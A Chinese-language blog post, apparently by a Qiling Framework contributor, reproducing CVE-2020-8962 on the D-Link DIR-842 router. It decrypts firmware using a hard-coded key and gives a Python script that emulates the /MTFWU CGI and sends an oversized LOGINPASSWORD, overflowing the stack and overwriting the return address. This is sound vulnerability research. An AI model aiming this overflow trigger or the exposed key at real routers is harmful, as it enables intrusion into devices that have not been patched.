進行著每天例行的快速新聞瀏覽,偶然看見 CVE-2020-8962
是一個跟 D-Link 有關的漏洞,自從開始貢獻 Qiling Framework 開始就沒少碰過 D-Link 了,於似乎就想重現一下漏洞。
下載最接近文章中所提及的版本後發現 binwalk
不認得,猜測是韌體被加密了,剛好之前做過一些韌體加解密的筆記,這邊就嘗試看看。
Firmware decryption
韌體加解密有很多種情境詳細的就不多說了,這篇解釋得很清楚,這邊簡單的總結一下
情況 | 出廠版本 | 中間版本 | 最新版本 | 備註 |
---|---|---|---|---|
一 | 加密0 | 加密0 | 加密0 | 從出廠開始就一直是加密的狀態,且未換過加解密演算法 |
二 | 加密0 | 未加密 | 加密1 | 出廠就加密了但廠商突然想要更換加解密演算法 |
三 | 未加密 | 加密0 | 加密0 | 出廠時未加密,之後基於某種原因釋出了有加密的版本 |
由上表可知,第一種情況是最棘手的,但要如何確定除了DIR-842
的情況呢?
撇除買一台新機器的選項,由官網提供的韌體下載可以發現DIR-842
最舊的版本是沒加密的,看來是中間某一個版本突然加密了,也就是說我們在情況三
既然是情況三那就好辦了,必定存在一個中間版本是未加密且具有加解密演算法的,除了可以一個一個下載韌體使用 binwalk
暴力測試外,還可以透過 release note
來縮小範圍
下圖是 DIR-842 RevC 3.13
版的 release note
裡面提到若要升級到 3.13 版需要先安裝過度版本 v3.092b03_middle
這裡就得到了關鍵版本的線索,這個過渡版本應該就是未加密且具有加解密演算法的韌體版本
由官網下載 DIR-842 C1 FW v3.02_middle
後要怎麼找到加解密演算的的所在呢?
-
可以嘗試
grep
幾個關鍵字encode, decode, encrypt, decrypt, openssl, fwupdate, update
-
一般常見的 SOHO Router 都有韌體更新頁面,所以往網頁檔案的方向找也可以縮減範圍
-
從網頁伺服器的 binary 中找到相關線索
在這個例子中最後定位到下方程式碼
// --- snip ---
// fw encimg
setattr("/runtime/tmpdevdata/image_sign" ,"get","cat /etc/config/image_sign");
$image_sign = query("/runtime/tmpdevdata/image_sign");
setattr("/runtime/tmpdevdata/encimg" ,"get","encimg -d -i ".$fw_path." -s ".$image_sign." > /dev/console \n");
query("/runtime/tmpdevdata/encimg");
setattr("/runtime/chfw", "get", "fwupdater -v ".$fw_path."; echo $?");
return get("","/runtime/chfw");
// --- snip --
第 6 行可以看到 encimg
這個指令負責解密或是解碼韌體檔案,fw_path
應該是韌體檔案路徑,image_sign
則為某種密鑰,順帶一提 image_sign
常常被 D-Link 系列拿來當作預設Telnet的密碼
同樣的方式找到了 encimg
位於 /usr/sbin/encimg
之後 Qiling 就派上用場了
from qiling import *
ql = Qiling(["squashfs-root/usr/sbin/encimg"], "squashfs-root", console=False)
ql.run()
簡單的三行程式碼將 encimg
跑起來看看,結果如下
可以看到出現 no signature specified!
的錯誤訊息之外,還有詳細的參數解釋跟剛剛的程式碼兩相對照,與一開始的猜測所差無幾
到了這裡基本上解密已經不是問題了,將加密過的韌體放到 squashfs-root
中,並稍微改一下 python script 就可以了
from qiling import *
ql = Qiling(["squashfs-root/usr/sbin/encimg", "-d",
"-i", "DIR842C1_FW313WWb05.bin",
"-s", "wrgac65_dlink.2015_dir842"], "squashfs-root", console=False)
ql.run()
下圖為執行前後對比,可以明顯看到原本什麼都不認得的 binwalk
在解密腳本執行完後,就可以正常辨識了
Reproduce the bug with Qiling Framework
根據分析文表示在 /MTFWU
這個路徑有 stack-based buffer overflow,詳細位置可以看原文分析,下面貼出我自己整理過的截圖
在 50 行處的 strcpy
直接將 LOGINPASSWORD
塞進堆疊裡並且沒有檢查長度,但是為了要走到這個路徑,還是需要分析一下前面幾個 function 像是 session_check
, read_sessions
等等
這裡 Qiling 就可以大顯神威了,一般來說不管是用 firmadyne 或是 QEMU User-mode 都會面臨一些問題諸如: nvram 讀不到特定資料、特定檔案不存在、記憶體中某些資料不如預期之類雜七雜八的問題
這些都可能導致程式走不到我們預期的路徑,但 Qiling 是由 python 組成的,其最大特點就是高可互動性,基本上執行韌體分析就跟 coding & debug 沒兩樣,無論是下斷點或是存取記憶體資料絲毫不差
舉個例子,在session_check
中用到read_sessions
用來逐一讀取 /var/sessions
下的檔案,is_valid
則用來檢查該 session 是否有效,是否有效的依據也很簡單,就是呼叫 syscall sysinfo 然後比較一下 session 中的時間大小與 uptime 誰大,這裡就需要 hook syscall sysinfo 來控制 uptime 以通過檢查
通過 man 2 sysinfo
可以知道 struct sysinfo
是 64 bytes 而 uptime 就是前 4 bytes,跟逆向結果一致
於此,我們需要加入 hook sysinfo function 的相關程式碼, 並使用 python3 -c 'print("AAAA\x00"+"A"*0xbf)' > /var/session/c1
建立 /var/session/c1
def my_syscall_sysinfo(ql, sysinfo_info, *args, **kwargs):
ql.mem.write(sysinfo_info, b"AAAA") # uptime
regreturn = 0
ql.log.info(f"sysinfo(0x{sysinfo_info:02x}) = {regreturn}")
return regreturn
再來,因為程式使用 getenv
來取得封包相關的訊息,也需要將對應的字串放入環境變數中,還好 Qiling 可以很輕易地做到這件事情
envs = {
"REQUEST_METHOD": "POST",
"REQUEST_URI": "/MTFWU",
"CONTENT_TYPE": "application/x-www-form-urlencoded",
"HTTP_MTFWU_ACT": "Login",
"HTTP_COOKIE": "uid=AAAA",
}
同時,我們也追求整個模擬過程可以自動化進行無須人工介入,所以我們將 stdin 直接替換成一個 python object,讓我們可以在模擬程式需要 input 的時候,幫我們代勞
class Fake_stdin():
def read(self, size, *args, **kwargs):
# return payload for reading from stdin
return b'ACTION=login&LOGINPASSWORD=' + b'A' * 0x248
def fileno(self, *args, **kwargs):
# return file descriptor
return 0
最後,我們當然希望程式不要直接死去,最好是可以停留在 return 之前,讓我們可以觀察暫存器或是記憶體中的資料,這當然對 Qiling 來說跟喝水一樣簡單
# dump all registers
def dump_reg(ql, *args, **kwargs):
for idx, val in ql.reg.save().items():
if not isinstance(idx, int):
print(idx, ":", hex(val))
breakpoint()
ql.hook_address(dump_reg, 0x41d3f0) # breakpoint before return
將上面所提到的功能全部彙整到一起,就是一個可以引發 crash 的 python script 了
from qiling import *
# hook function for syscall sysinfo
def my_syscall_sysinfo(ql, sysinfo_info, *args, **kwargs):
ql.mem.write(sysinfo_info, b"AAAA") # uptime
regreturn = 0
ql.log.info(f"sysinfo(0x{sysinfo_info:02x}) = {regreturn}")
return regreturn
# dump all registers
def dump_reg(ql, *args, **kwargs):
ql.log.info("="*0x10 + " register dump " + "="*0x10)
for idx, val in ql.reg.save().items():
if not isinstance(idx, int):
ql.log.info(f"{idx}: {hex(val)}")
breakpoint()
# fake stdin for sending payload
class Fake_stdin:
def read(self, size, *args, **kwargs):
return b'ACTION=login&LOGINPASSWORD=' + b'A' * 0x248
def fileno(self, *args, **kwargs):
return 0
if __name__ == "__main__":
envs = {
"REQUEST_METHOD": "POST",
"REQUEST_URI": "/MTFWU",
"CONTENT_TYPE": "application/x-www-form-urlencoded",
"HTTP_MTFWU_ACT": "Login",
"HTTP_COOKIE": "uid=AAAA",
"CONTENT_LENGTH": str(27+0x248),
}
ql = Qiling(["squashfs-root/usr/sbin/mtfwu"], "squashfs-root",
output="default",
env=envs, # setting environment variables
stdin=Fake_stdin()) # hijack stdin with Fake_stdin
ql.set_syscall("sysinfo", my_syscall_sysinfo) # syscall hook for sysinfo
ql.set_syscall("_newselect", lambda *_: None) # hook syscall _newselect with anonymous NOP function to avoid manual input requirement
ql.hook_address(dump_reg, 0x41d3f0) # breakpoint before return and dump all registers
with open("squashfs-root/var/session/c1", "wb+") as fh: # setup propper session file
fh.write(b"AAAA\x00" + b"A"*0xbf) # first four bytes were the UID in cookie
ql.run()
備註: 因為程式有使用到 select
等待 stdin 輸入,所以用一個空匿名函數取代掉 ql_syscall__newselect
,讓 script 可以直接由 Fake_stdin
讀到 input
整個不到 50 行的 python script 就可以把整個整個程式跑起來,並且斷點在 0x41d3f0
,執行之後可以觀察到 $fp($s8)
跟 $ra
兩個暫存器都已經被覆蓋為 AAAA
了
Conclusion
Qiling Framework 是一個強大的跨平台且支援多架構的二進制分析工具,上面所提到的 feature 還只是冰山一角,他還有更多好用強大的功能,例如可以接上其他 debugger 像是 GDB、IDA Pro、Radare2 等,或是 partial execution 讓 Qiling 得以只執行 binary 裡面其中片段的程式碼,而不需要從頭到尾跑一遍,更多功能可以參考 Qiling Framework Documentation 或是 Github,沒有意外的話,未來還會有更多 feature 被加到 Qiling Framework 中,拭目以待。